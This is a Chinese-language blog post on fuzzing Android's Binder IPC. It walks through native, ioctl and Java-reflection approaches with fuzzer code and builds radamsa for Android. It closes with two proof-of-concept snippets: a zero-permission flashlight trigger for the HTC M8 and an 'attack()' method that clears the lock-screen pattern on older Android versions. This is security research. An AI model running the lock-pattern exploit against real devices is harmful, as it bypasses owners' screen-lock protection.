Android Binder Fuzzing 的一些思路

1. binder 简介

Android安全模型的一个关键部分是每一个应用程序都被赋予一个唯一的 Linux 用户 ID 和组 ID,运行在自己的进程和 Dalvik 虚拟机里。
在应用程序安装的过程中,Android系统设备上创建一个专门的目录(文件夹),用于存储此应用程序的数据,并且仅允许应用程序利用
Linux 用户 ID 和组 ID 的相应访问权限对这些数据进行访问。此外,此应用程序的 Dalvik 虚拟机使用应用程序的用户 ID 运行在自己的进程中。
这些关键的机制在操作系统层面上强制数据安全,因为应用程序之间不共享内存、访问权限及磁盘存储。应用程序只能在它们自己的 Dalvik 虚拟机范围内访问内存和数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ps
...

u0_a16 2757 882 2574956 116944 SyS_epoll+ 0 S com.google.android.gms.persistent
u0_a128 2774 883 1939084 87720 SyS_epoll+ 0 S com.ss.android.article.news:push
u0_a16 2850 882 2322980 46592 SyS_epoll+ 0 S com.google.process.gapps
u0_a128 2887 883 2190568 181868 SyS_epoll+ 0 S com.ss.android.article.news
u0_a37 2900 882 2430908 58316 SyS_epoll+ 0 S com.google.android.googlequicksearchbox:interactor
nfc 2918 882 2351828 62356 SyS_epoll+ 0 S com.android.nfc
u0_a45 2930 882 2309884 43576 SyS_epoll+ 0 S se.dirac.acs
radio 2945 882 2313144 45592 SyS_epoll+ 0 S net.oneplus.push
u0_a0 2956 882 2304600 36360 SyS_epoll+ 0 S com.oneplus
system 2967 882 2307276 38088 SyS_epoll+ 0 S com.fingerprints.serviceext
system 2985 882 2309992 42044 SyS_epoll+ 0 S com.oneplus.opbugreportlite
u0_a142 2997 882 2370296 93324 SyS_epoll+ 0 S com.oneplus.aod
u0_a16 3018 882 2731976 165828 SyS_epoll+ 0 S com.google.android.gms
...

Android app 是由 Activity、Service、Broadcast 和 Content Provider 四大组件构成,而这些组件可能运行在同一进程中,也可能运行在不同的
进程中,而像 PowerManagerService等重要服务都运行在核心进程 system_server 里,所以 Android 系统必须实现一个靠谱的进程间通信机制 (IPC)。
Android系统基于 Linux 开发,Linux 中有很多进程间通信的方法,如 Signal、Pipe、Socket、Share Memeory、Semaphore, 但是 Android 系统并没有使用
这些进程间通信的方法,而是基于 OpenBinder 自己开发了一套进程通信的方法,Binder 是 Android 系统 IPC 通信的机制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ adb shell ps | grep system_server
system 63 32 120160 35408 ffffffff afd0c738 S system_server

$ adb logcat | grep "63)"
...
D/PowerManagerService( 63): bootCompleted
I/TelephonyRegistry( 63): notifyServiceState: 0 home Android Android 310260 UMTS CSS not supp...
I/TelephonyRegistry( 63): notifyDataConnection: state=0 isDataConnectivityPossible=false reason=null
interfaceName=null networkType=3
I/SearchManagerService( 63): Building list of searchable activities
I/WifiService( 63): WifiService trying to setNumAllowed to 11 with persist set to true
I/ActivityManager( 63): Config changed: { scale=1.0 imsi=310/260 loc=en_US touch=3 keys=2/1/2 nav=3/1 ...
I/TelephonyRegistry( 63): notifyMessageWaitingChanged: false
I/TelephonyRegistry( 63): notifyCallForwardingChanged: false
I/TelephonyRegistry( 63): notifyDataConnection: state=1 isDataConnectivityPossible=true reason=simL...
I/TelephonyRegistry( 63): notifyDataConnection: state=2 isDataConnectivityPossible=true reason=simL...
D/Tethering( 63): MasterInitialState.processMessage what=3
I/ActivityManager( 63): Start proc android.process.media for broadcast
com.android.providers.downloads/.DownloadReceiver: pid=223 uid=10002 gids={1015, 2001, 3003}
I/RecoverySystem( 63): No recovery log file
W/WindowManager( 63): App freeze timeout expired.

binder

2. Binder 架构

Binder 使用 CS (Client/Server) 模型,提供服务的进程是 Server 进程,访问服务的是 Client 进程。从代码实现的角度看,Binder架构采用的是分层架构设计,
大致上可以分为 Java 层, Java IPC 层,Native IPC 层, Linux 内核层。

1

从组件的视角来看,Binder 包含了 Client、Server、ServiceManger 和 binder 驱动, ServiceManager 用于管理系统中的各种服务,见下图。

2

图中虚线的箭头为跨进程的进程间通信,必须使用 Android IPC binder 机制。

3. 为什么要 fuzz binder

把 Binder 作为一个目标的原因比较明显的,因为在 Android 的安全模型中,Binder 是一个重要的安全边界。在一个低权限
的 app 里面构造的数据,会在高权限的进程里面使用,如果发生问题,就是一个明显的权限提升漏洞。另外数据在处理的过程中,
有 flatten 和 unflatten 两个步骤,这些步骤就像我们平时说的编码和解码一样非常容易出问题。

weakness

存在一些非常经典的漏洞, 例如 CVE-2014-7911 该漏洞允许恶意应用从普通应用权限提权到system用户执行命令。

4. 实现

在每个层面都可以实现相关代码进行 Fuzz, 下面分析在每个层面的具体实现。

4.1 直接调用 ioctl

实现 Binder fuzzer 的方法有好几种,最直接的想法当然就是直接调用 ioctl 系统调用。

ioctl

其中 fd 可以通过打开 /dev/binder 设备文件获得,难点在 binder_write_read 数据结构的构造。

1
int fd = open("/dev/binder", O_RDWR);

4.2 Native 层

在 Native 层,利用 IBinder 可以将问题简化, 看上面的结构图,通过阅读 Android 源码, 可以看出我们可以利用 IBinder
的 transcat 来调用相应的Binder 接口函数,参考:

https://android.googlesource.com/platform/frameworks/native/+/master/cmds/service/service.cpp

调用 IBinder 的 transact 需要自己填充 parcel 数据, 可以从下面的示意理解大致的含义:

5

code 为 Binder 调用接口的功能号, parcel 中需要指定调用那个接口。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
String16 get_interface_name(sp<IBinder> service)
{
if (service != NULL) {
Parcel data, reply;
status_t err = service->transact(IBinder::INTERFACE_TRANSACTION, data, &reply);
if (err == NO_ERROR) {
return reply.readString16();
}
}
return String16();
}

int main(int argc, char** argv).
{
sp<IServiceManager> sm = defaultServiceManager();
Vector<String16> services = sm->listServices();

for (uint32_t i = 0; i < services.size(); i++) {
String16 name = services[i];
sp<IBinder> service = sm->checkService(name);
String16 ifName = get_interface_name(service);
if (service != NULL && ifName.size() > 0) {

for (uint32_t code = 0; code <= 100; code++) {
aout << "ifName: " << ifName << ", code: " << code << endl;

Parcel data, reply;
data.writeInterfaceToken(ifName);
for (uint32_t i = 0; i < random() % 800; i++ ) {
uint32_t a = random();
aout << "data[" << i << "]: " << a << endl;
data.writeInt32(a);
}
service->transact(code, data, &reply, 1);
}
}
}
return 0;
}

4.3 Java 应用层

到了 Java 应用层,我们可以获得的信息就丰富了,可以获得详细的信息。

1) 获取所有运行的services

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public String[] getServices() {
String[] services = null;
try {
services = (String[]) Class.forName("android.os.ServiceManager")
.getDeclaredMethod("listServices").invoke(null);
} catch (ClassCastException e) {
} catch (ClassNotFoundException e) {
} catch (NoSuchMethodException e) {
} catch (InvocationTargetException e) {
} catch (IllegalAccessException e) {
}

return services;
}

2) 获得对应服务的IBinder 对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public IBinder getIBinder(String service) {
IBinder serviceBinder = null;
try {
serviceBinder = (IBinder) Class.forName("android.os.ServiceManager")
.getDeclaredMethod("getService", String.class).invoke(null, service);
} catch (ClassCastException e) {
} catch (ClassNotFoundException e) {
} catch (NoSuchMethodException e) {
} catch (InvocationTargetException e) {
} catch (IllegalAccessException e) {
}

return serviceBinder;
}

3) 利用反射获取对应接口的所有code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public HashMap<String,Integer> getBinderCode(String interfaceDescriptor) {
HashMap<String, Integer> codes = new HashMap<>();

if (interfaceDescriptor == null)
return codes;

try {
Class<?> cStub = Class
.forName(interfaceDescriptor + "$Stub");
Field[] f = cStub.getDeclaredFields();
for (Field field : f) {
field.setAccessible(true);
String k= field.toString().split("\\$Stub\\.")[1];
if (k.contains("TRANSACTION"))
codes.put(k, (int)field.get(this));
}
} catch (Exception e) {
}

return codes;
}

4) 利用反射获取对应接口所有调用的参数类型

binder call 的参数类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public HashMap<String, List<String>>
getBinderCallParameter(String interfaceDescriptor,
HashMap<String, Integer> codes) {
HashMap<String, List<String>> ret = new HashMap();

if (interfaceDescriptor == null)
return ret;

try {
Class<?> cStub = Class
.forName(interfaceDescriptor + "$Stub$Proxy");
Method[] m = cStub.getDeclaredMethods();

for (Method method : m) {
int func_code = 0;
List<String> func_parameter = new ArrayList<>();

method.setAccessible(true);
String func_name = method.toString().split("\\$Stub\\$Proxy\\.")[1];
func_parameter.add(func_name);

for (String key : codes.keySet()) {
if (func_name.contains(key.substring("TRANSACTION_".length())))
func_code = codes.get(key);
}

if (func_code == 0)
continue;

Class<?>[] ParameterTypes = method.getParameterTypes();
for (int k=0; k < ParameterTypes.length; k++) {
func_parameter.add(ParameterTypes[k].toString());
}

ret.put(Integer.toString(func_code), func_parameter);
}
} catch (Exception e) {
}

return ret;
}

5)Binder 调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static IBinder getIBinder(String service) {
IBinder serviceBinder = null;
try {
serviceBinder = (IBinder) Class.forName("android.os.ServiceManager")
.getDeclaredMethod("getService", String.class).invoke(null, service);
} catch (ClassCastException e) {
} catch (ClassNotFoundException e) {
} catch (NoSuchMethodException e) {
} catch (InvocationTargetException e) {
} catch (IllegalAccessException e) {
}

return serviceBinder;
}
public void fuzz (int code, String Service) {
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();

IBinder serviceBinder = BinderInfo.getIBinder(service);
serviceBinder.transact(code, data, reply, 0);
}

上面的几个步骤已经全部java 代码实现,可行。

5. 实现方法的分析于比较

ioctl 的方法过于底层,需要实现的代码很多,而 java 应用层的代码由于权限原因,经常会遇到没有权限的情况。
所以使用 Native 层的方法是合适的,在Root 的Android 机器上运行代码,可以解决权限问题。而 Java 应用层的
代码利用反射可以获取到每个接口的详细信息,根据获取到的信息指导 Native 层 fuzz 程序的后续变异,应该是比较理想的方法。

6. Fuzz 数据的生成

可以考虑移植 radasma 到 Android 平台

1
2
3
4
5
6
7
8
9
10
11
$ git clone https://github.com/anestisb/radamsa-android.git
$ cd radamsa-android
$ export PATH=$PATH:NDK_PATH
$ ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./jni/Android.mk \
APP_PLATFORM=android-24 APP_ABI=armeabi-v7a \
NDK_TOOLCHAIN=arm-linux-androideabi-4.9


[armeabi-v7a] Compile thumb : radamsa <= radamsa.c
[armeabi-v7a] Executable : radamsa
[armeabi-v7a] Install : radamsa => libs/armeabi-v7a/radamsa

6.1 更新 radamsa-android

github 上移植的radamsa 已经比较古老 (0.4), 可以直接将最新版(0.6a)的radamsa 移植
到 Android上。方法比较简单,在原始的 radamsa 中有一个 radamsa.c 将这个文件替换
radamsa-android/jni 目录下的 radamsa.c

然后在文件中添加下面代码, 重新编译即可:

1
2
3
4
5
6
#ifdef ANDROID
#include <arpa/inet.h>
#ifndef WIFCONTINUED
#define WIFCONTINUED(stat) 0
#endif
#endif

7. Fuzz 出来的一些漏洞

1) htc m8 零权限打开闪光灯

1
2
3
4
5
6
7
8
9
10
IBinder serviceBinder = getIBinder("media.camera");

Parcel data1 = Parcel.obtain();
Parcel reply1 = Parcel.obtain();

try {
data1.writeInterfaceToken(serviceBinder.getInterfaceDescriptor());
data1.writeByteArray(new byte[1024]);
serviceBinder.transact(8, data1, reply1, 0);
} catch (Exception e) {}

2) Android 6.0.1 MOB3OM 手势密码清除漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

public void attack() {
IBinder serviceBinder = getIBinder("lock_settings");

Parcel data1 = Parcel.obtain();
Parcel reply1 = Parcel.obtain();

try {
data1.writeInterfaceToken(serviceBinder.getInterfaceDescriptor());
data1.writeByteArray(new byte[255]);
serviceBinder.transact(7, data1, reply1, 0);
} catch (RemoteException e) {}
}

public IBinder getIBinder(String service) {
IBinder serviceBinder = null;
try {
serviceBinder = (IBinder) Class.forName("android.os.ServiceManager")
.getDeclaredMethod("getService", String.class).invoke(null, service);
} catch (ClassCastException e) {
} catch (ClassNotFoundException e) {
} catch (NoSuchMethodException e) {
} catch (InvocationTargetException e) {
} catch (IllegalAccessException e) {
}

return serviceBinder;
}

在Android 6.0.1 MOB3OM 之前的一些版本中, 未在setLockPattern 中做权限检查,
导致apk 不需要任何权限就可以将手势密码清除.

这个问题已经修复 author Jim Miller jaggies@google.com Wed Apr 13 16:35:36 2016 -0700

https://android.googlesource.com/platform/frameworks/base/+/b5383455b6cae093e60684b4f5cccb0cc440330d%5E%21/#F0

但是考虑到Android 的碎片化问题, 估计在一些手机中将存在这个问题.

参考资料


Android Binder Fuzzing 的一些思路
https://usmacd.com/cn/Android_binder_fuzzing/
作者
henices
发布于
2023年9月6日
许可协议